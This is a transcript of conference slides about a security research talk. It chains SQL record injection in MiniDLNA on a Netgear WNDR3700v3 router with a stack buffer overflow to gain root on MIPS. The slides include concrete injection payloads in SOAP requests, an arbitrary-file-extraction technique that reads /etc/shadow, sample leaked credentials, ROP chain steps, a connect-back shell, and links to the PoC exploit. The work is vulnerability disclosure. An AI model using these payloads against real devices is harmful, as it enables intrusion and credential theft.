SQL Injection To MIPS Overflows - Amazon...

Post on 29-May-2020

10 views 0 download

Transcript of SQL Injection To MIPS Overflows - Amazon...

SQL Injection To MIPS Overflows

Part Deux

Zachary Cutlip

Twitter: @zcutlip

Embedded Vulnerability Researcher

Formerly with Tactical Network Solutions, LLC

Followup to previous research

Presented at Black Hat 2012

Crappy code is still crappy

Target: WNDR 3700v3

Dual band Wireless router

SMB + FTP File server

DLNA Multimedia Server

CPU Architecture: 32-bit MIPS, Little Endian

Firmware: 1.0.0.30

MiniDLNA: 1.0.24

Kernel: Linux 2.6.22

Firmware 1.0.0.30 Release Notes

“SQLi (mini DLNA module) security fix”

Newer Firmware

1.0.0.36

Vulnerable based on static analysis

1.0.0.38

Haven’t looked yet

Goal

Identify a new SQL injection bug

Identify a new buffer overflow

Combine the two just like last time

Reproduce the attacks from 2012

Attack SurfaceOnly looked at MiniDLNA

Didn’t look at:

HTTP Server

UPnP Server

Samba Server

FTP Server

Kernel Modules

Attack Scenario

Network based

LAN side

Reaver: attack from outside

Possible WAN side via UPnP vulns

SQLite Record Injection

We need two things:

Unsafe “%s” format code (combined with user input)

Use of sqlite3_exec()

INSERT statement can’t be nested.

sqlite3_exec() will execute multiple statements.

“Statement 1; Statement 2”

Record Injection Example  sql_fmt="SELECT  *  from  TABLE1  WHERE  NAME='%s'";  

input="foo;  INSERT  into  TABLE2(ID,PATH)       VALUES(1337,'/etc/shadow');—";  

snprintf(query,sizeof(query),       sql_fmt,user_input);  

sqlite3_exec(db,query,callback_func,     NULL,NULL);

Quotes in SQLite

When string is enclosed in outer single quotes

Escape quotes/apostrophes by doubling

Condensed into just one quote/apostrophe

Nothing else inside pair of quotes can be escaped

INSERT  INTO  table1  VALUES(     'It''s  a  happy  day!')

SQLite’s %q

SQLite’s ‘mprintf()’ functions provide a %q code

Like %s, except doubles single quote characters

    "INSERT  INTO  table1  VALUES('%q')"  

Should be surrounded by single quotes

Netgear’s Custom Patches

Shipping binary diverges from source

“%s” format codes replaced with “%q”

Source still useful, but…

Bugs must be found from reversing the binary

SQL Injection Candidate in Source

Patched in Binary

A Promising Lead

In searchContentDir()

Call to sqlite3_exec()

Preceded by SQL query with ‘%s’

Injection CandidateSELECT    

  o.OBJECT_ID,  o.PARENT_ID,  o.REF_ID,  o.DETAIL_ID,  o.CLASS,  

  d.SIZE,  d.TITLE,  d.DURATION,  …  

from  OBJECTS  o  

left  join  DETAILS  d  on    

  (d.ID  =  o.DETAIL_ID)    

where  OBJECT_ID  glob  '%q$*'    

  and  (%s)  %s  %z  %s  

  limit  %d,  %d

Where for art thou, %q?

Injection Candidate

Query Translation

UPnP Query:

upnp:artist  =  "Armin  Van  Buuren”  

Becomes SQL Query:

and  (d.ARTIST  =  "Armin  Van  Buuren")

Query Injection

Inject in upnp:artist criteria:

upnp:artist  =  "foo");  SELECT  1=1;-­‐-­‐  

or

upnp:artist  =  "foo");  insert  into  ALBUM_ART  values(ID,PATH)  values(31337,"fake  data");-­‐-­‐

Another CandidateSELECT  

(  select  count(distinct  DETAIL_ID)  from  OBJECTS  o  

   left  join  DETAILS  d  on  (o.DETAIL_ID  =  d.ID)  where  (OBJECT_ID  glob  ‘%q$*’)  

   and  (%s)  )  +  

 (  select  count(*)  from  OBJECTS  o  

     left  join  DETAILS  d  on  (o.DETAIL_ID  =  d.ID)  where  (OBJECT_ID  =  ‘%q’)  

     and  (%s)  )

What is this?!And This?

Foiled!This query is in the critical path ahead of the other

It is NOT vulnerable to record injection

No sqlite3_exec()

Syntactically incompatible with the previous

Extra pair of parentheses

If the first query fails syntactically, the next never executes

No sqlite3_exec()

Unadvertised SOAP Action

Table of SOAP handlers

Many familiar

Advertised for the Content Directory Service

e.g., “Browse”, “Search”, etc.

One unfamiliar handler:

“X_SetBookmark”

The Samsung Special

According to source

“X_SetBookmark” is referenced

SamsungSetBookmark()

Sets a bookmark, in seconds, on a video

SetBookmark Query

INSERT  OR  REPLACE  into  BOOKMARKS  

VALUES  (  

    (select  DETAIL_ID  from  OBJECTS  where  OBJECT_ID  =  '%q'),%q  

 ) Something’s not!right, here.

X_SetBookmark Request<?xml  version="1.0"?>  

<s:Envelope  xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"  s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">  

  <s:Body>  

    <u:X_SetBookmark  xmlns:u="urn:schemas-­‐upnp-­‐org:service:ContentDirectory:1">  

      <ObjectID>46</ObjectID>  

        <PosSecond>  

          3600  

        </PosSecond>  

      <CategoryType>10</CategoryType>  

      <RID>0</RID>  

    </u:X_SetBookmark>  

  </s:Body>  

</s:Envelope>

X_SetBookmark Request

<PosSecond>  

    3600  

</PosSecond>

X_SetBookmark Injection

<PosSecond>  

    1);INSERT  into  ALBUM_ART(ID,PATH)  

    VALUES(31337,"fake  data”);-­‐-­‐  

</PosSecond>

Arbitrary File Extraction

Previously presented (BH 2012) vulnerability

Create bogus ALBUM_ART record

Points to arbitrary file

Retrieve via unauthenticated HTTP:

    http://router:8200/AlbumArt/31337-­‐1.jpg

Extract Passwords

$  cat  31337-­‐1.jpg

nobody:*:0:0:nobody:/:/bin/sh  

admin:qw12QW!@:0:0:admin:/:/bin/sh  

guest:guest:0:0:guest:/:/bin/sh

!

admin:qw12QW!@:0:0:admin:/:/bin/sh  

Even Better…

Extract NVRAM config

/dev/mtdblock14

Extract minidlna binary

pre-exploitation fingerprint

Still Works…

…two years later

Every system running MiniDLNA…

…if you can find a record injection vulnerability.

Root or it didn’t happen

Getting passwords is nice, but…

Let’s get root.

Buffer Overflow

Custom API replaces most risky string handling

A few unsafe functions remain

An interesting sprintf() is found in callback()

Interesting sprintf()

Rewrites DLNA Profile Name retrieved from database…

…specifically for Sony TVs

Destination is a 128-byte buffer on the stack.

Use record injection

Stage records for bogus media object

Excessively long DLNA_PN string

Triggering the overflow

Triggering the overflow

DETAILS.MIME value starts with “v”

For “video” MIME type?

Maybe “v” is for “vendetta”?

client_type variable must = 9

Spoof a Sony TV

In source, client type of 9 == ESonyBravia

HTTP header X-­‐AV-­‐Client-­‐Info

If present, and contains “BRAVIA” substring

client_type is set to ESonyBravia

DLNA Profile NamesDLNA Profile name must be one of three:

AVC_TS_MP_SD_AC3

AVC_TS_MP_HD_AC3

AVC_TS_HP_HD_AC3

strncmp() is used, so PN must only begin with one

If found, profile name is rewritten with sprintf()

Stack Hazardscallback() function is super gnarly

10K bytes in length

Lots of stack hazards

Lots of ways to crash

Lots of paths out of the function

No fast failure avoiding stack hazards

Custom String API

A number of custom string handling functions

e.g., “strcatf()”

All work with a custom string “object”

Custom String API

struct  string_s  {  

      char  *data;       //  ptr  to  start  of  memory  area  

      int  off;  

      int  size;  

};

Double Pointer Hell

str  *struct  string_s  

Pointer to a pointer to writable memory

Two successful dereferences followed by a write

No error checking

If clobbered, very crash

FML: Writable Double Pointers

Seven calls to strcatf() after overflow

Each with a different pointer to struct  string_s  

Buffer overflow must contain placeholder values

Placeholders must:

Be a valid address

Point to a valid address

Second address points to writable memory

ELF Weirdness

ELF Libraries for some architectures

.sdata (small data) section

First address points to itself

Followed by writable memory initialized to zero

.sdata Pointer to Self

One Time Use

Each pointer to self can only be used once

Memory is contaminated after write

MiniDLNA links lots of libraries

Lots of .sdata sections to use

Add Placeholder to Overflow

SC.gadget_section(375,0x4A558,  

                                   description="Placeholder  for  passed_args[0].  

                                   Passed  to  strcatf()  at  0x0041635C.",  

                                   base_address=cls.LIBAVUTIL_BASE)

Bad Bytes

Null bytes break string handling

HTTP related characters

SQL syntax related characters

Total list:

‘\x0d','\x00','\x20','\x0a','\x2d','\x3c','\x3e','\x22'

SQL Syntax Complication

Single quote (0x27 byte value) causes a problem

Single quotes get doubled by %q format code

“\x41\x61\x27\x05” becomes

“\x41\x61\x27\x27\x05”

This one weird trick

Pull out each 0x27 byte

Double it: “\x27\x27”

Append to overflow as separate SQL injection

If Input string is “''” (pair of single quotes)

str=sqlite3_mprintf("INSERT  into  table1  VALUES(%q),"''");

SQL command becomes:

INSERT  into  table1  VALUES('''')  

Exploit POC accomplishes this automatically:

    1);UPDATE  DETAILS  set  DLNA_PN=DLNA_PN||''''       where  ID=31337;-­‐-­‐

Trigger the Overflow

Browse SOAP request causes database query

Browse for staged <ObjectID>

Overflow record retrieved & processed

In Browse request

X-­‐AV-­‐Client-­‐Info header set to “BRAVIA”

Browse for Staged Overflow

<?xml  version="1.0"  encoding="utf-­‐8"?>  

<s:Envelope  s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"  xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">  

<s:Body>  

  <ns0:Browse  xmlns:ns0="urn:schemas-­‐upnp-­‐org:service:ContentDirectory:1">  

    <ObjectID>PWNED</ObjectID>  

    <BrowseFlag>BrowseDirectChildren</BrowseFlag>  

    <Filter>*</Filter>  

    <StartingIndex>0</StartingIndex>  

    <RequestedCount>100</RequestedCount>  

    <SortCriteria  />  

  </ns0:Browse>  

</s:Body>  

</s:Envelope>

<s:Body>  

 <ns0:Browse  xmlns:ns0="urn:schemas-­‐upnp-­‐org:service:ContentDirectory:1">  

    <ObjectID>PWNED</ObjectID>  

    <BrowseFlag>BrowseDirectChildren</BrowseFlag>  

    …  

    …  

 </ns0:Browse>  

</s:Body>

Crash!

MIPS Exploitation

MIPS Linux 2.6.22

Executable stack

Stack is randomized with ASLR

No randomization on libraries

Makes ROP possible

MIPS CachingSeparate Instruction/Data Caches

Buffer overflow data is in D-Cache

Execution fetches instructions through I-Cache

Must flush caches to execute payload

Several tricks

ROP into sleep() to force context switch.

MIPS ROP

ROPping on MIPS

Fixed length instructions: 4 bytes

Aligned memory accesses

Few gadgets

Limited ROP is still possible

MIPS ROP ChainTo return into stack & execute, ROP must:

Stage an argument to sleep(), 1 or 2 seconds

Stage return address for sleep()’s return

Return into sleep(), causing data cache to flush

Load offset from $SP into a register

Jump to the register containing the stack offset

Decode, Execute, Root

Once executing off the stack:

Decode payload

Execute payload

root

Connect-back Shell

Bowcaster

Python API for describing buffer overflow

Easy description of ROP gadgets

Pattern string for debugging

Payloads + XOR decoder specific for MIPS

Variety of connect-back servers

Bowcaster

https://github.com/zcutlip/bowcaster

Set Up Addresses & Offsets

Add Double Pointer Placeholder

Add ROP Gadgets

Add Payloads

Create Overflow Object

Verification, Server, Exploit

Stage Data, Trigger Overflow

Demo Time

PoC Exploit

https://github.com/zcutlip/exploit-poc

Future WorkInvestigate UPnP

Port forwarding via CSRF?

Make exploit dynamic

Support many Netgear devices running MiniDLNA

Generate ROP chain dynamically

Additional Resources: https://shadow-file.blogspot.com

Thanks to Craig Heffner @devttyS0

Questions?

Contact Me uid000@gmail.com

Twitter: @zcutlip !

Additional Resources: https://shadow-file.blogspot.com